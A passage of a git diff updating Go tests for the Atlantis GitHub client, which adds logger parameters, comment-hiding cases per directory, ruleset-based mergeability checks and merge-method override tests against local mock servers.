"testing" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // If the hostname is github.com, should use normal BaseURL. func TestNewGithubClient_GithubCom(t *testing.T) { - client, err := NewGithubClient("github.com", &GithubUserCredentials{"user", "pass"}, nil) + client, err := NewGithubClient("github.com", &GithubUserCredentials{"user", "pass", ""}, GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) Equals(t, "https://api.github.com/", client.client.BaseURL.String()) } // If the hostname is a non-github hostname should use the right BaseURL. func TestNewGithubClient_NonGithub(t *testing.T) { - client, err := NewGithubClient("example.com", &GithubUserCredentials{"user", "pass"}, nil) + client, err := NewGithubClient("example.com", &GithubUserCredentials{"user", "pass", ""}, GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) Equals(t, "https://example.com/api/v3/", client.client.BaseURL.String()) // If possible in the future, test the GraphQL client's URL as well. But at the diff --git a/server/events/vcs/github_client_test.go b/server/events/vcs/github_client_test.go index dc56d79965..2483642f4c 100644 --- a/server/events/vcs/github_client_test.go +++ b/server/events/vcs/github_client_test.go @@ -4,15 +4,19 @@ import ( "crypto/tls" "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" "net/http/httptest" "net/url" + "os" "strings" "testing" + "time" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" "github.com/shurcooL/githubv4" @@ -21,6 +25,7 @@ import ( // GetModifiedFiles should make multiple requests if more than one page // and concat results. func TestGithubClient_GetModifiedFiles(t *testing.T) { + logger := logging.NewNoopLogger(t) respTemplate := `[ { "sha": "bbcd538c8e72b8c175046e27cc8f907076331401", @@ -59,23 +64,25 @@ func TestGithubClient_GetModifiedFiles(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logger) Ok(t, err) defer disableSSLVerification()() - files, err := client.GetModifiedFiles(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.Github, - Hostname: "github.com", - }, - }, models.PullRequest{ - Num: 1, - }) + files, err := client.GetModifiedFiles( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.Github, + Hostname: "github.com", + }, + }, models.PullRequest{ + Num: 1, + }) Ok(t, err) Equals(t, []string{"file1.txt", "file2.txt"}, files) } @@ -83,6 +90,7 @@ func TestGithubClient_GetModifiedFiles(t *testing.T) { // GetModifiedFiles should include the source and destination of a moved // file. func TestGithubClient_GetModifiedFilesMovedFile(t *testing.T) { + logger := logging.NewNoopLogger(t) resp := `[ { "sha": "bbcd538c8e72b8c175046e27cc8f907076331401", @@ -114,28 +122,31 @@ func TestGithubClient_GetModifiedFilesMovedFile(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() - files, err := client.GetModifiedFiles(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.Github, - Hostname: "github.com", - }, - }, models.PullRequest{ - Num: 1, - }) + files, err := client.GetModifiedFiles( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.Github, + Hostname: "github.com", + }, + }, models.PullRequest{ + Num: 1, + }) Ok(t, err) Equals(t, []string{"new/filename.txt", "previous/filename.txt"}, files) } func TestGithubClient_PaginatesComments(t *testing.T) { + logger := logging.NewNoopLogger(t) calls := 0 issueResps := []string{ `[ @@ -167,7 +178,7 @@ func TestGithubClient_PaginatesComments(t *testing.T) { switch r.Method + " " + r.RequestURI { case "POST /api/graphql": defer r.Body.Close() // nolint: errcheck - body, err := ioutil.ReadAll(r.Body) + body, err := io.ReadAll(r.Body) if err != nil { t.Errorf("read body error: %v", err) http.Error(w, "server error", http.StatusInternalServerError) @@ -208,11 +219,12 @@ func TestGithubClient_PaginatesComments(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() - err = client.HidePrevPlanComments( + err = client.HidePrevCommandComments( + logger, models.Repo{ FullName: "owner/repo", Owner: "owner", @@ -225,6 +237,8 @@ func TestGithubClient_PaginatesComments(t *testing.T) { }, }, 123, + command.Plan.TitleString(), + "", ) Ok(t, err) Equals(t, 2, len(gotMinimizeCalls)) @@ -235,93 +249,126 @@ func TestGithubClient_PaginatesComments(t *testing.T) { } func TestGithubClient_HideOldComments(t *testing.T) { - // Only comment 6 should be minimized, because it's by the same Atlantis bot user - // and it has "plan" in the first line of the comment body. - issueResp := `[ + logger := logging.NewNoopLogger(t) + atlantisUser := "AtlantisUser" + pullRequestNum := 123 + issueResp := strings.ReplaceAll(`[ {"node_id": "1", "body": "asd\nplan\nasd", "user": {"login": "someone-else"}}, {"node_id": "2", "body": "asd plan\nasd", "user": {"login": "someone-else"}}, {"node_id": "3", "body": "asdasdasd\nasdasdasd", "user": {"login": "someone-else"}}, - {"node_id": "4", "body": "asdasdasd\nasdasdasd", "user": {"login": "user"}}, - {"node_id": "5", "body": "asd\nplan\nasd", "user": {"login": "user"}}, - {"node_id": "6", "body": "asd plan\nasd", "user": {"login": "user"}}, - {"node_id": "7", "body": "asdasdasd", "user": {"login": "user"}}, - {"node_id": "8", "body": "asd plan\nasd", "user": {"login": "user"}}, - {"node_id": "9", "body": "Continued Plan from previous comment\nasd", "user": {"login": "user"}} -]` + {"node_id": "4", "body": "asdasdasd\nasdasdasd", "user": {"login": "AtlantisUser"}}, + {"node_id": "5", "body": "asd\nplan\nasd", "user": {"login": "AtlantisUser"}}, + {"node_id": "6", "body": "Ran Plan for 2 projects:", "user": {"login": "AtlantisUser"}}, + {"node_id": "7", "body": "Ran Apply for 2 projects:", "user": {"login": "AtlantisUser"}}, + {"node_id": "8", "body": "Ran Plan for dir: 'stack1' workspace: 'default'", "user": {"login": "AtlantisUser"}}, + {"node_id": "9", "body": "Ran Plan for dir: 'stack2' workspace: 'default'", "user": {"login": "AtlantisUser"}}, + {"node_id": "10", "body": "Continued Plan from previous comment\nasd", "user": {"login": "AtlantisUser"}} +]`, "'", "`") minimizeResp := "{}" type graphQLCall struct { Variables struct { Input githubv4.MinimizeCommentInput `json:"input"` } `json:"variables"` } - gotMinimizeCalls := make([]graphQLCall, 0, 1) - testServer := httptest.NewTLSServer( - http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - switch r.Method + " " + r.RequestURI { - // This gets the pull request's comments. - case "GET /api/v3/repos/owner/repo/issues/123/comments?direction=asc&sort=created": - w.Write([]byte(issueResp)) // nolint: errcheck - return - case "POST /api/graphql": - if accept, has := r.Header["Accept"]; !has || accept[0] != "application/vnd.github.queen-beryl-preview+json" { - t.Error("missing preview header") - http.Error(w, "bad request", http.StatusBadRequest) - return - } - defer r.Body.Close() // nolint: errcheck - body, err := ioutil.ReadAll(r.Body) - if err != nil { - t.Errorf("read body error: %v", err) - http.Error(w, "server error", http.StatusInternalServerError) - return - } - call := graphQLCall{} - err = json.Unmarshal(body, &call) - if err != nil { - t.Errorf("parse body error: %v", err) - http.Error(w, "server error", http.StatusInternalServerError) - return - } - gotMinimizeCalls = append(gotMinimizeCalls, call) - w.Write([]byte(minimizeResp)) // nolint: errcheck - return - default: - t.Errorf("got unexpected request at %q", r.RequestURI) - http.Error(w, "not found", http.StatusNotFound) - return - } - }), - ) - testServerURL, err := url.Parse(testServer.URL) - Ok(t, err) + cases := []struct { + dir string + processedComments int + processedCommentIds []string + }{ + { + // With no dir specified, comments 6, 8, 9 and 10 should be minimized. + "", + 4, + []string{"6", "8", "9", "10"}, + }, + { + // With a dir of "stack1", comment 8 should be minimized. + "stack1", + 1, + []string{"8"}, + }, + { + // With a dir of "stack2", comment 9 should be minimized. + "stack2", + 1, + []string{"9"}, + }, + } - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) - Ok(t, err) - defer disableSSLVerification()() + for _, c := range cases { + t.Run(c.dir, func(t *testing.T) { + gotMinimizeCalls := make([]graphQLCall, 0, 1) + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.Method + " " + r.RequestURI { + // This gets the pull request's comments. + case fmt.Sprintf("GET /api/v3/repos/owner/repo/issues/%v/comments?direction=asc&sort=created", pullRequestNum): + w.Write([]byte(issueResp)) // nolint: errcheck + return + case "POST /api/graphql": + defer r.Body.Close() // nolint: errcheck + body, err := io.ReadAll(r.Body) + if err != nil { + t.Errorf("read body error: %v", err) + http.Error(w, "server error", http.StatusInternalServerError) + return + } + call := graphQLCall{} + err = json.Unmarshal(body, &call) + if err != nil { + t.Errorf("parse body error: %v", err) + http.Error(w, "server error", http.StatusInternalServerError) + return + } + gotMinimizeCalls = append(gotMinimizeCalls, call) + w.Write([]byte(minimizeResp)) // nolint: errcheck + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + }), + ) - err = client.HidePrevPlanComments( - models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Hostname: "github.com", - Type: models.Github, - }, - }, - 123, - ) - Ok(t, err) - Equals(t, 3, len(gotMinimizeCalls)) - Equals(t, "6", gotMinimizeCalls[0].Variables.Input.SubjectID) - Equals(t, "9", gotMinimizeCalls[2].Variables.Input.SubjectID) - Equals(t, githubv4.ReportedContentClassifiersOutdated, gotMinimizeCalls[0].Variables.Input.Classifier) + testServerURL, err := url.Parse(testServer.URL) + Ok(t, err) + + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{atlantisUser, "pass", ""}, vcs.GithubConfig{}, 0, + logging.NewNoopLogger(t)) + Ok(t, err) + defer disableSSLVerification()() + + err = client.HidePrevCommandComments( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + pullRequestNum, + command.Plan.TitleString(), + c.dir, + ) + Ok(t, err) + Equals(t, c.processedComments, len(gotMinimizeCalls)) + for i := 0; i < c.processedComments; i++ { + Equals(t, c.processedCommentIds[i], gotMinimizeCalls[i].Variables.Input.SubjectID) + Equals(t, githubv4.ReportedContentClassifiersOutdated, gotMinimizeCalls[i].Variables.Input.Classifier) + } + }) + } } func TestGithubClient_UpdateStatus(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus expState string @@ -346,7 +393,7 @@ func TestGithubClient_UpdateStatus(t *testing.T) { http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/owner/repo/statuses/": - body, err := ioutil.ReadAll(r.Body) + body, err := io.ReadAll(r.Body) Ok(t, err) exp := fmt.Sprintf(`{"state":"%s","target_url":"https://google.com","description":"description","context":"src"}%s`, c.expState, "\n") Equals(t, exp, string(body)) @@ -361,29 +408,32 @@ func TestGithubClient_UpdateStatus(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() - err = client.UpdateStatus(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.Github, - Hostname: "github.com", - }, - }, models.PullRequest{ - Num: 1, - }, c.status, "src", "description", "https://google.com") + err = client.UpdateStatus( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.Github, + Hostname: "github.com", + }, + }, models.PullRequest{ + Num: 1, + }, c.status, "src", "description", "https://google.com") Ok(t, err) }) } } func TestGithubClient_PullIsApproved(t *testing.T) { + logger := logging.NewNoopLogger(t) respTemplate := `[ { "id": %d, @@ -447,89 +497,382 @@ func TestGithubClient_PullIsApproved(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() - approved, err := client.PullIsApproved(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.Github, - Hostname: "github.com", - }, - }, models.PullRequest{ - Num: 1, - }) + approvalStatus, err := client.PullIsApproved( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.Github, + Hostname: "github.com", + }, + }, models.PullRequest{ + Num: 1, + }) Ok(t, err) - Equals(t, false, approved) + Equals(t, false, approvalStatus.IsApproved) } func TestGithubClient_PullIsMergeable(t *testing.T) { + logger := logging.NewNoopLogger(t) + vcsStatusName := "atlantis-test" cases := []struct { state string expMergeable bool }{ { - "dirty", + "dirty", + false, + }, + { + "unknown", + false, + }, + { + "blocked", + false, + }, + { + "behind", + false, + }, + { + "random", + false, + }, + { + "unstable", + true, + }, + { + "has_hooks", + true, + }, + { + "clean", + true, + }, + { + "", + false, + }, + } + + // Use a real GitHub json response and edit the mergeable_state field. + jsBytes, err := os.ReadFile("testdata/github-pull-request.json") + Ok(t, err) + prJSON := string(jsBytes) + + for _, c := range cases { + t.Run(c.state, func(t *testing.T) { + response := strings.Replace(prJSON, + `"mergeable_state": "clean"`, + fmt.Sprintf(`"mergeable_state": "%s"`, c.state), + 1, + ) + + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v3/repos/owner/repo/pulls/1": + w.Write([]byte(response)) // nolint: errcheck + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + testServerURL, err := url.Parse(testServer.URL) + Ok(t, err) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) + Ok(t, err) + defer disableSSLVerification()() + + actMergeable, err := client.PullIsMergeable( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.Github, + Hostname: "github.com", + }, + }, models.PullRequest{ + Num: 1, + }, vcsStatusName, []string{}) + Ok(t, err) + Equals(t, c.expMergeable, actMergeable) + }) + } +} + +func TestGithubClient_PullIsMergeableWithAllowMergeableBypassApply(t *testing.T) { + logger := logging.NewNoopLogger(t) + vcsStatusName := "atlantis" + ignoreVCSStatusNames := []string{"other-atlantis"} + cases := []struct { + state string + statusCheckRollupFilePath string + reviewDecision string + expMergeable bool + }{ + { + "dirty", + "ruleset-atlantis-apply-pending.json", + `"REVIEW_REQUIRED"`, + false, + }, + { + "unknown", + "ruleset-atlantis-apply-pending.json", + `"REVIEW_REQUIRED"`, + false, + }, + { + "blocked", + "ruleset-atlantis-apply-pending.json", + `"REVIEW_REQUIRED"`, + false, + }, + { + "blocked", + "ruleset-atlantis-apply-pending.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-atlantis-apply-pending.json", + "null", + true, + }, + { + "behind", + "ruleset-atlantis-apply-pending.json", + `"REVIEW_REQUIRED"`, + false, + }, + { + "random", + "ruleset-atlantis-apply-pending.json", + `"REVIEW_REQUIRED"`, + false, + }, + { + "unstable", + "ruleset-atlantis-apply-pending.json", + `"REVIEW_REQUIRED"`, + true, + }, + { + "has_hooks", + "ruleset-atlantis-apply-pending.json", + `"APPROVED"`, + true, + }, + { + "clean", + "ruleset-atlantis-apply-pending.json", + `"APPROVED"`, + true, + }, + { + "", + "ruleset-atlantis-apply-pending.json", + `"APPROVED"`, + false, + }, + { + "blocked", + "ruleset-atlantis-apply-expected.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-optional-check-failed.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-optional-status-failed.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-check-pending.json", + `"APPROVED"`, + false, + }, + { + "blocked", + "ruleset-check-pending-other-atlantis.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-check-skipped.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-check-neutral.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-evaluate-workflow-failed.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "branch-protection-expected.json", + `"APPROVED"`, false, }, { - "unknown", + "blocked", + "branch-protection-failed.json", + `"APPROVED"`, false, }, { "blocked", + "branch-protection-passed.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-check-expected.json", + `"APPROVED"`, false, }, { - "behind", + "blocked", + "ruleset-check-failed.json", + `"APPROVED"`, false, }, { - "random", + "blocked", + "ruleset-check-failed-other-atlantis.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-check-passed.json", + `"APPROVED"`, + true, + }, + { + "blocked", + "ruleset-workflow-expected.json", + `"APPROVED"`, false, }, { - "unstable", + "blocked", + "ruleset-workflow-failed.json", + `"APPROVED"`, + false, + }, + { + "blocked", + "ruleset-workflow-passed.json", + `"APPROVED"`, true, }, { - "has_hooks", + "blocked", + "ruleset-workflow-passed-multiple-runs.json", + `"APPROVED"`, true, }, { - "clean", + "blocked", + "ruleset-workflow-passed-sha-match.json", + `"APPROVED"`, true, }, { - "", + "blocked", + "ruleset-workflow-passed-sha-mismatch.json", + `"APPROVED"`, false, }, } // Use a real GitHub json response and edit the mergeable_state field. - jsBytes, err := ioutil.ReadFile("fixtures/github-pull-request.json") + jsBytes, err := os.ReadFile("testdata/github-pull-request.json") + Ok(t, err) + prJSON := string(jsBytes) + + jsBytes, err = os.ReadFile("testdata/github-pull-request-mergeability/repository-id.json") Ok(t, err) - json := string(jsBytes) + repoIdJSON := string(jsBytes) for _, c := range cases { t.Run(c.state, func(t *testing.T) { - response := strings.Replace(json, + response := strings.Replace(prJSON, `"mergeable_state": "clean"`, fmt.Sprintf(`"mergeable_state": "%s"`, c.state), 1, ) + // PR review decision and checks statuses Response + jsBytes, err = os.ReadFile("testdata/github-pull-request-mergeability/" + c.statusCheckRollupFilePath) + Ok(t, err) + prMergeableStatusJSON := string(jsBytes) + + // PR review decision and checks statuses Response + prMergeableStatus := strings.Replace(prMergeableStatusJSON, + `"reviewDecision": null,`, + fmt.Sprintf(`"reviewDecision": %s,`, c.reviewDecision), + 1, + ) + testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { - case "/api/v3/repos/owner/repo/pulls/1": + case "/api/v3/repos/octocat/repo/pulls/1": w.Write([]byte(response)) // nolint: errcheck return + case "/api/graphql": + body, err := io.ReadAll(r.Body) + if err != nil { + t.Errorf("read body error: %v", err) + http.Error(w, "", http.StatusInternalServerError) + return + } + if strings.Contains(string(body), "pullRequest(") { + w.Write([]byte(prMergeableStatus)) // nolint: errcheck + return + } else if strings.Contains(string(body), "databaseId") { + w.Write([]byte(repoIdJSON)) // nolint: errcheck + return + } + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) @@ -538,23 +881,25 @@ func TestGithubClient_PullIsMergeable(t *testing.T) { })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{AllowMergeableBypassApply: true}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() - actMergeable, err := client.PullIsMergeable(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.Github, - Hostname: "github.com", - }, - }, models.PullRequest{ - Num: 1, - }) + actMergeable, err := client.PullIsMergeable( + logger, + models.Repo{ + FullName: "octocat/repo", + Owner: "octocat", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.Github, + Hostname: "github.com", + }, + }, models.PullRequest{ + Num: 1, + }, vcsStatusName, ignoreVCSStatusNames) Ok(t, err) Equals(t, c.expMergeable, actMergeable) }) @@ -562,6 +907,7 @@ func TestGithubClient_PullIsMergeable(t *testing.T) { } func TestGithubClient_MergePullHandlesError(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { code int message string @@ -586,7 +932,7 @@ func TestGithubClient_MergePullHandlesError(t *testing.T) { }, } - jsBytes, err := ioutil.ReadFile("fixtures/github-repo.json") + jsBytes, err := os.ReadFile("testdata/github-repo.json") Ok(t, err) for _, c := range cases { @@ -598,7 +944,7 @@ func TestGithubClient_MergePullHandlesError(t *testing.T) { w.Write(jsBytes) // nolint: errcheck return case "/api/v3/repos/owner/repo/pulls/1/merge": - body, err := ioutil.ReadAll(r.Body) + body, err := io.ReadAll(r.Body) Ok(t, err) exp := "{\"merge_method\":\"merge\"}\n" Equals(t, exp, string(body)) @@ -620,11 +966,12 @@ func TestGithubClient_MergePullHandlesError(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() err = client.MergePull( + logger, models.PullRequest{ BaseRepo: models.Repo{ FullName: "owner/repo", @@ -638,6 +985,8 @@ func TestGithubClient_MergePullHandlesError(t *testing.T) { }, }, Num: 1, + }, models.PullRequestOptions{ + DeleteSourceBranchOnMerge: false, }) if c.expErr == "" { @@ -652,11 +1001,14 @@ func TestGithubClient_MergePullHandlesError(t *testing.T) { // Test that if the pull request only allows a certain merge method that we // use that method func TestGithubClient_MergePullCorrectMethod(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := map[string]struct { - allowMerge bool - allowRebase bool - allowSquash bool - expMethod string + allowMerge bool + allowRebase bool + allowSquash bool + mergeMethodOption string + expMethod string + expErr string }{ "all true": { allowMerge: true, @@ -688,13 +1040,66 @@ func TestGithubClient_MergePullCorrectMethod(t *testing.T) { allowSquash: false, expMethod: "rebase", }, + "all true: merge with merge: overridden by command": { + allowMerge: true, + allowRebase: true, + allowSquash: true, + mergeMethodOption: "merge", + expMethod: "merge", + }, + "all true: merge with rebase: overridden by command": { + allowMerge: true, + allowRebase: true, + allowSquash: true, + mergeMethodOption: "rebase", + expMethod: "rebase", + }, + "all true: merge with squash: overridden by command": { + allowMerge: true, + allowRebase: true, + allowSquash: true, + mergeMethodOption: "squash", + expMethod: "squash", + }, + "merge with merge: overridden by command: merge not allowed": { + allowMerge: false, + allowRebase: true, + allowSquash: true, + mergeMethodOption: "merge", + expMethod: "", + expErr: "Merge method 'merge' is not allowed by the repository Pull Request settings", + }, + "merge with rebase: overridden by command: rebase not allowed": { + allowMerge: true, + allowRebase: false, + allowSquash: true, + mergeMethodOption: "rebase", + expMethod: "", + expErr: "Merge method 'rebase' is not allowed by the repository Pull Request settings", + }, + "merge with squash: overridden by command: squash not allowed": { + allowMerge: true, + allowRebase: true, + allowSquash: false, + mergeMethodOption: "squash", + expMethod: "", + expErr: "Merge method 'squash' is not allowed by the repository Pull Request settings", + }, + "merge with unknown: overridden by command: unknown doesn't exist": { + allowMerge: true, + allowRebase: true, + allowSquash: true, + mergeMethodOption: "unknown", + expMethod: "", + expErr: "Merge method 'unknown' is unknown. Specify one of the valid values: 'merge, rebase, squash'", + }, } for name, c := range cases { t.Run(name, func(t *testing.T) { // Modify response. - jsBytes, err := ioutil.ReadFile("fixtures/github-repo.json") + jsBytes, err := os.ReadFile("testdata/github-repo.json") Ok(t, err) resp := string(jsBytes) resp = strings.Replace(resp, @@ -717,7 +1122,7 @@ func TestGithubClient_MergePullCorrectMethod(t *testing.T) { w.Write([]byte(resp)) // nolint: errcheck return case "/api/v3/repos/runatlantis/atlantis/pulls/1/merge": - body, err := ioutil.ReadAll(r.Body) + body, err := io.ReadAll(r.Body) Ok(t, err) defer r.Body.Close() // nolint: errcheck type bodyJSON struct { @@ -741,11 +1146,12 @@ func TestGithubClient_MergePullCorrectMethod(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() err = client.MergePull( + logger, models.PullRequest{ BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", @@ -759,14 +1165,22 @@ func TestGithubClient_MergePullCorrectMethod(t *testing.T) { }, }, Num: 1, + }, models.PullRequestOptions{ + DeleteSourceBranchOnMerge: false, + MergeMethod: c.mergeMethodOption, }) - Ok(t, err) + + if c.expErr == "" { + Ok(t, err) + } else { + ErrContains(t, c.expErr, err) + } }) } } func TestGithubClient_MarkdownPullLink(t *testing.T) { - client, err := vcs.NewGithubClient("hostname", &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient("hostname", &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) pull := models.PullRequest{Num: 1} s, _ := client.MarkdownPullLink(pull) @@ -786,6 +1200,7 @@ func disableSSLVerification() func() { } func TestGithubClient_SplitComments(t *testing.T) { + logger := logging.NewNoopLogger(t) type githubComment struct { Body string `json:"body"` } @@ -797,7 +1212,7 @@ func TestGithubClient_SplitComments(t *testing.T) { switch r.Method + " " + r.RequestURI { case "POST /api/v3/repos/runatlantis/atlantis/issues/1/comments": defer r.Body.Close() // nolint: errcheck - body, err := ioutil.ReadAll(r.Body) + body, err := io.ReadAll(r.Body) if err != nil { t.Errorf("read body error: %v", err) http.Error(w, "server error", http.StatusInternalServerError) @@ -821,7 +1236,7 @@ func TestGithubClient_SplitComments(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() pull := models.PullRequest{Num: 1} @@ -838,9 +1253,9 @@ func TestGithubClient_SplitComments(t *testing.T) { } // create an extra long string comment := strings.Repeat("a", 65537) - err = client.CreateComment(repo, pull.Num, comment, models.PlanCommand.String()) + err = client.CreateComment(logger, repo, pull.Num, comment, command.Plan.String()) Ok(t, err) - err = client.CreateComment(repo, pull.Num, comment, "") + err = client.CreateComment(logger, repo, pull.Num, comment, "") Ok(t, err) body := strings.Split(githubComments[1].Body, "\n") @@ -849,12 +1264,13 @@ func TestGithubClient_SplitComments(t *testing.T) { secondSplit := strings.ToLower(body[0]) Equals(t, 4, len(githubComments)) - Assert(t, strings.Contains(firstSplit, models.PlanCommand.String()), fmt.Sprintf("comment should contain the command name but was %q", firstSplit)) + Assert(t, strings.Contains(firstSplit, command.Plan.String()), fmt.Sprintf("comment should contain the command name but was %q", firstSplit)) Assert(t, strings.Contains(secondSplit, "continued from previous comment"), fmt.Sprintf("comment should contain no reference to the command name but was %q", secondSplit)) } // Test that we retry the get pull request call if it 404s. func TestGithubClient_Retry404(t *testing.T) { + logger := logging.NewNoopLogger(t) var numCalls = 0 testServer := httptest.NewTLSServer( @@ -879,7 +1295,7 @@ func 